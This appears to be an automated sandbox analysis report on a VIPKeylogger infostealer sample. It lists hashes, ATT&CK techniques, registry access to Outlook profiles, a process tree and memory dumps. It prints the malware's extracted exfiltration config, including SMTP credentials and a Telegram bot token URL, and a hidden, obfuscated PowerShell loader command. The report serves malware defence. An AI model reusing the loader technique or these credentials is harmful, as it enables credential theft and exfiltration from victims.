vipkeylogger | 774a43183f4153afcb5a1b2ed08490b443ff13d9d0d52c63bd140509d5b00434

Analysis

max time kernel
147s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
05/11/2024, 15:31

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General

Target

774a43183f4153afcb5a1b2ed08490b443ff13d9d0d52c63bd140509d5b00434.exe
Size

450KB
MD5

3ce3ee68163ba194a2fd3bed674e118f
SHA1

7658a58176b120ef09dc1b7773a1eeb8ced2f70c
SHA256

774a43183f4153afcb5a1b2ed08490b443ff13d9d0d52c63bd140509d5b00434
SHA512

0f4bede978046e30979d9c14d55de0bb050531b204cab8fccecd677e5df78c743abd50be9aed26daf435f8b9b06e94af80ce0e71207cc843b050c9c967404853
SSDEEP

12288:RTMsmvzoR9prfCyKERuxr2sN9cdPV+apV:RTMBAhfKEiig9qPVdV

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

vipkeylogger

Credentials

Protocol: smtp
Host:
mail.turktav.com
Port:
587
Username:
[email protected]
Password:
)d!s~MV@X;!M
Email To:
[email protected]

https://api.telegram.org/bot7054311495:AAGRkcE01kFv5Hk9G-f-BKj6OWMZeFTXeCk/sendMessage?chat_id=6019867941

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3492	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 8 IoCs

flow	pid	Process
47	4928	msiexec.exe
49	4928	msiexec.exe
51	4928	msiexec.exe
53	4928	msiexec.exe
55	4928	msiexec.exe
61	4928	msiexec.exe
63	4928	msiexec.exe
66	4928	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
46	drive.google.com
47	drive.google.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
60	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4928	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3492	powershell.exe
4928	msiexec.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\unionizes\impersonal.ini	774a43183f4153afcb5a1b2ed08490b443ff13d9d0d52c63bd140509d5b00434.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	774a43183f4153afcb5a1b2ed08490b443ff13d9d0d52c63bd140509d5b00434.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
3492	powershell.exe
3492	powershell.exe
3492	powershell.exe
3492	powershell.exe
3492	powershell.exe
3492	powershell.exe
3492	powershell.exe
3492	powershell.exe
3492	powershell.exe
3492	powershell.exe
4928	msiexec.exe
4928	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3492	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	3492	powershell.exe
Token: SeIncreaseQuotaPrivilege	3492	powershell.exe
Token: SeSecurityPrivilege	3492	powershell.exe
Token: SeTakeOwnershipPrivilege	3492	powershell.exe
Token: SeLoadDriverPrivilege	3492	powershell.exe
Token: SeSystemProfilePrivilege	3492	powershell.exe
Token: SeSystemtimePrivilege	3492	powershell.exe
Token: SeProfSingleProcessPrivilege	3492	powershell.exe
Token: SeIncBasePriorityPrivilege	3492	powershell.exe
Token: SeCreatePagefilePrivilege	3492	powershell.exe
Token: SeBackupPrivilege	3492	powershell.exe
Token: SeRestorePrivilege	3492	powershell.exe
Token: SeShutdownPrivilege	3492	powershell.exe
Token: SeDebugPrivilege	3492	powershell.exe
Token: SeSystemEnvironmentPrivilege	3492	powershell.exe
Token: SeRemoteShutdownPrivilege	3492	powershell.exe
Token: SeUndockPrivilege	3492	powershell.exe
Token: SeManageVolumePrivilege	3492	powershell.exe
Token: 33	3492	powershell.exe
Token: 34	3492	powershell.exe
Token: 35	3492	powershell.exe
Token: 36	3492	powershell.exe
Token: SeDebugPrivilege	4928	msiexec.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4928	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 644 wrote to memory of 3492	644	774a43183f4153afcb5a1b2ed08490b443ff13d9d0d52c63bd140509d5b00434.exe	92
PID 644 wrote to memory of 3492	644	774a43183f4153afcb5a1b2ed08490b443ff13d9d0d52c63bd140509d5b00434.exe	92
PID 644 wrote to memory of 3492	644	774a43183f4153afcb5a1b2ed08490b443ff13d9d0d52c63bd140509d5b00434.exe	92
PID 3492 wrote to memory of 4928	3492	powershell.exe	97
PID 3492 wrote to memory of 4928	3492	powershell.exe	97
PID 3492 wrote to memory of 4928	3492	powershell.exe	97
PID 3492 wrote to memory of 4928	3492	powershell.exe	97

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\774a43183f4153afcb5a1b2ed08490b443ff13d9d0d52c63bd140509d5b00434.exe
"C:\Users\Admin\AppData\Local\Temp\774a43183f4153afcb5a1b2ed08490b443ff13d9d0d52c63bd140509d5b00434.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:644
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Conductor194=Get-Content -raw 'C:\Users\Admin\AppData\Local\storsejl\Fantasising.Bat';$Nonsectarian=$Conductor194.SubString(57517,3);.$Nonsectarian($Conductor194)
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3492
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - outlook_office_path
    - outlook_win_path
    PID:4928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3p1b2ocs.tde.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\storsejl\Fantasising.Bat

Filesize
56KB

MD5
0d22173b681028fd0c3a5c44555df8f2

SHA1
ea5f6d4e22c39c05598c9b7b01713c09f4def959

SHA256
726b2a8c8cb0387da0a5cec5acf004fb2358712b9cbfdafd3d4fdeee4d569837

SHA512
a097b74ab495ce459e62e9937b1400037a25d4f42f5b9a9b87345d43b550625417f4aaa3bc1dc3a816b2b2184fe3c5ca53cf99881e617045726ca1844b76fc7d

Download Submit
C:\Users\Admin\AppData\Local\storsejl\Natvgter.gra

Filesize
210KB

MD5
4809da8ed0ea02fda084bfcaf1b133b2

SHA1
a75fd58688277da685a7f55deec779e3c2f4e5e7

SHA256
940ee841ad5e4f487f090420cbda1ef0e921b54d02e540e2794a120bdfa8244f

SHA512
3bb8b6c22de6444c23a170b64cc2c86757e7986cf6390ed621c373dae1561db2c68d72fd01a3c2ab1bae6d6eaa26cd86b7f3c6e36cbefdfa3d1122c9d19b6793

Download Submit
memory/3492-54-0x0000000007870000-0x0000000007913000-memory.dmp

Filesize
652KB

Download
memory/3492-41-0x0000000073800000-0x0000000073FB0000-memory.dmp

Filesize
7.7MB

Download
memory/3492-18-0x00000000053B0000-0x00000000053D2000-memory.dmp

Filesize
136KB

Download
memory/3492-20-0x0000000005B00000-0x0000000005B66000-memory.dmp

Filesize
408KB

Download
memory/3492-19-0x0000000005A90000-0x0000000005AF6000-memory.dmp

Filesize
408KB

Download
memory/3492-15-0x0000000005460000-0x0000000005A88000-memory.dmp

Filesize
6.2MB

Download
memory/3492-30-0x0000000005D10000-0x0000000006064000-memory.dmp

Filesize
3.3MB

Download
memory/3492-31-0x00000000063F0000-0x000000000640E000-memory.dmp

Filesize
120KB

Download
memory/3492-32-0x0000000006420000-0x000000000646C000-memory.dmp

Filesize
304KB

Download
memory/3492-33-0x00000000075C0000-0x0000000007656000-memory.dmp

Filesize
600KB

Download
memory/3492-35-0x0000000006930000-0x0000000006952000-memory.dmp

Filesize
136KB

Download
memory/3492-34-0x00000000068E0000-0x00000000068FA000-memory.dmp

Filesize
104KB

Download
memory/3492-36-0x0000000007C40000-0x00000000081E4000-memory.dmp

Filesize
5.6MB

Download
memory/3492-16-0x0000000073800000-0x0000000073FB0000-memory.dmp

Filesize
7.7MB

Download
memory/3492-38-0x0000000008870000-0x0000000008EEA000-memory.dmp

Filesize
6.5MB

Download
memory/3492-56-0x0000000007B10000-0x0000000007B3A000-memory.dmp

Filesize
168KB

Download
memory/3492-40-0x000000006FC90000-0x000000006FCDC000-memory.dmp

Filesize
304KB

Download
memory/3492-39-0x0000000007820000-0x0000000007852000-memory.dmp

Filesize
200KB

Download
memory/3492-42-0x0000000070240000-0x0000000070594000-memory.dmp

Filesize
3.3MB

Download
memory/3492-52-0x0000000007800000-0x000000000781E000-memory.dmp

Filesize
120KB

Download
memory/3492-55-0x0000000007990000-0x000000000799A000-memory.dmp

Filesize
40KB

Download
memory/3492-13-0x000000007380E000-0x000000007380F000-memory.dmp

Filesize
4KB

Download
memory/3492-17-0x0000000073800000-0x0000000073FB0000-memory.dmp

Filesize
7.7MB

Download
memory/3492-53-0x0000000073800000-0x0000000073FB0000-memory.dmp

Filesize
7.7MB

Download
memory/3492-57-0x0000000007B40000-0x0000000007B64000-memory.dmp

Filesize
144KB

Download
memory/3492-58-0x0000000073800000-0x0000000073FB0000-memory.dmp

Filesize
7.7MB

Download
memory/3492-60-0x0000000073800000-0x0000000073FB0000-memory.dmp

Filesize
7.7MB

Download
memory/3492-14-0x0000000004DF0000-0x0000000004E26000-memory.dmp

Filesize
216KB

Download
memory/3492-63-0x0000000073800000-0x0000000073FB0000-memory.dmp

Filesize
7.7MB

Download
memory/3492-64-0x0000000073800000-0x0000000073FB0000-memory.dmp

Filesize
7.7MB

Download
memory/3492-62-0x000000007380E000-0x000000007380F000-memory.dmp

Filesize
4KB

Download
memory/3492-65-0x0000000073800000-0x0000000073FB0000-memory.dmp

Filesize
7.7MB

Download
memory/3492-66-0x0000000008EF0000-0x000000000D5E1000-memory.dmp

Filesize
70.9MB

Download
memory/3492-67-0x0000000073800000-0x0000000073FB0000-memory.dmp

Filesize
7.7MB

Download
memory/3492-68-0x0000000073800000-0x0000000073FB0000-memory.dmp

Filesize
7.7MB

Download
memory/3492-69-0x0000000073800000-0x0000000073FB0000-memory.dmp

Filesize
7.7MB

Download
memory/3492-70-0x0000000073800000-0x0000000073FB0000-memory.dmp

Filesize
7.7MB

Download
memory/3492-72-0x0000000073800000-0x0000000073FB0000-memory.dmp

Filesize
7.7MB

Download
memory/4928-85-0x0000000001000000-0x0000000002254000-memory.dmp

Filesize
18.3MB

Download
memory/4928-86-0x0000000001000000-0x0000000002254000-memory.dmp

Filesize
18.3MB

Download
memory/4928-87-0x0000000001000000-0x0000000001042000-memory.dmp

Filesize
264KB

Download
memory/4928-88-0x00000000248F0000-0x000000002498C000-memory.dmp

Filesize
624KB

Download
memory/4928-89-0x0000000025620000-0x00000000257E2000-memory.dmp

Filesize
1.8MB

Download
memory/4928-90-0x0000000024DA0000-0x0000000024DF0000-memory.dmp

Filesize
320KB

Download
memory/4928-92-0x0000000025450000-0x00000000254E2000-memory.dmp

Filesize
584KB

Download
memory/4928-93-0x0000000025570000-0x000000002557A000-memory.dmp

Filesize
40KB

Download